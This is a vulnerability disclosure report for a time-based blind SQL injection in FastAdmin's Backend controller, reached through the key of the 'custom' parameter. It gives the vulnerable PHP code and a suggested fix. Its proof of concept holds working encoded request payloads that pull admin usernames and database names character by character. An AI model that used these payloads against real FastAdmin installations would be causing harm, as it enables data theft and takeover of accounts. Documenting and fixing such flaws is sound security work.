fastadmin 1.7.0.20250506 - SQL injection
Title: SQL Injection Vulnerability in FastAdmin ≤ 1.7.0.20250506 (custom parameter)#
BUG_Author: pemic
Affected Version: FastAdmin ≤ 1.7.0.20250506
Vendor: FastAdmin Official
Software: FastAdmin GitHub Repository
Vulnerability Files:
application/common/controller/Backend.php
Description:#
A time-based blind SQL injection vulnerability exists in the selectpage() method of FastAdmin's Backend controller. The vulnerability is caused by insufficient sanitization of the custom parameter's field name before it is used in database queries.
Vulnerability Analysis:#
Root Cause:
In file
application/common/controller/Backend.php, lines 531-538, thecustomparameter allows users to pass custom WHERE conditions.The field name (array key) is directly used in the
where()method without proper validation:
if ($custom && is_array($custom)) {
foreach ($custom as $k => $v) {
if (is_array($v) && 2 == count($v)) {
$query->where($k, trim($v[0]), $v[1]);
} else {
$query->where($k, '=', $v);
}
}
}The variable
$k(field name) is never sanitized, allowing SQL injection through the parameter key.
Attack Vector:
An authenticated backend user can inject SQL statements through the
customparameter's key name.The injection point is in the WHERE clause, making time-based blind injection possible.
Proof of Concept:#
Prerequisites:
Valid backend account (any privilege level)
Access to admin panel
Step 1: Login to admin panel
POST /admin.php/index/login
username=admin&password=admin123
Step 2: Send malicious request with SQL injection payload
Prerequisites: All requests must include
X-Requested-With: XMLHttpRequestheader, otherwise the vulnerable code path will not be triggered.
Normal request:
Decoded: custom[id]=1
GET /admin.php/auth/admin/index?keyField=id&custom%5Bid%5D=1Time-based SQL injection (2 second delay):
Decoded: custom[id)and(sleep(2))and(1]=1
GET /admin.php/auth/admin/index?keyField=id&custom%5Bid%29and%28sleep%282%29%29and%281%5D=1Step 3: Extracting data using conditional time-based injection
Extract first character of admin username (expected: 'a'):
Decoded: custom[id)and(select case when substring((select username from fa_admin limit 1)from 1 for 1)='a' then sleep(2) else 1 end)and(1]=1
GET /admin.php/auth/admin/index?keyField=id&custom%5Bid%29and%28select%20case%20when%20substring%28%28select%20username%20from%20fa_admin%20limit%201%29from%201%20for%201%29%3D%27a%27%20then%20sleep%282%29%20else%201%20end%29and%281%5D=1If response delays ~2 seconds → character matches
If response is immediate → character does not match
Extract first character of database name (expected: 'f' for 'fastadmin'):
Decoded: custom[id)and(select case when substring(database()from 1 for 1)='f' then sleep(2) else 1 end)and(1]=1
GET /admin.php/auth/admin/index?keyField=id&custom%5Bid%29and%28select%20case%20when%20substring%28database%28%29from%201%20for%201%29%3D%27f%27%20then%20sleep%282%29%20else%201%20end%29and%281%5D=1Step 4: Verify exploitation
| Test | Payload | Expected Response Time |
|---|---|---|
| Baseline | custom[id]=1 | ~0.03s |
| sleep(2) | custom[id)and(sleep(2))and(1]=1 | ~2.0s |
| sleep(4) | custom[id)and(sleep(4))and(1]=1 | ~4.0s |
| Condition TRUE | ...username...='a'...sleep(2)... | ~2.0s |
| Condition FALSE | ...username...='z'...sleep(2)... | ~0.03s |
Impact:#
An attacker with any backend account can:
Extract sensitive data from database (usernames, password hashes, tokens)
Retrieve database structure information (database name, table names, column names)
Potentially escalate privileges by obtaining admin credentials
Access all data stored in the database
Tested Environment:#
FastAdmin Version: 1.7.0.20250506
PHP Version: 7.4
MySQL Version: 5.7.44
ThinkPHP Version: 5.0.24
Suggested Fix:#
Add validation for the custom parameter field names in Backend.php:
if ($custom && is_array($custom)) {
foreach ($custom as $k => $v) {
// Validate field name - only allow alphanumeric and underscore
if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $k)) {
continue;
}
if (is_array($v) && 2 == count($v)) {
$query->where($k, trim($v[0]), $v[1]);
} else {
$query->where($k, '=', $v);
}
}
}
Timeline:#
2025-12-18: Vulnerability discovered
2025-12-18: Report submitted to VulDB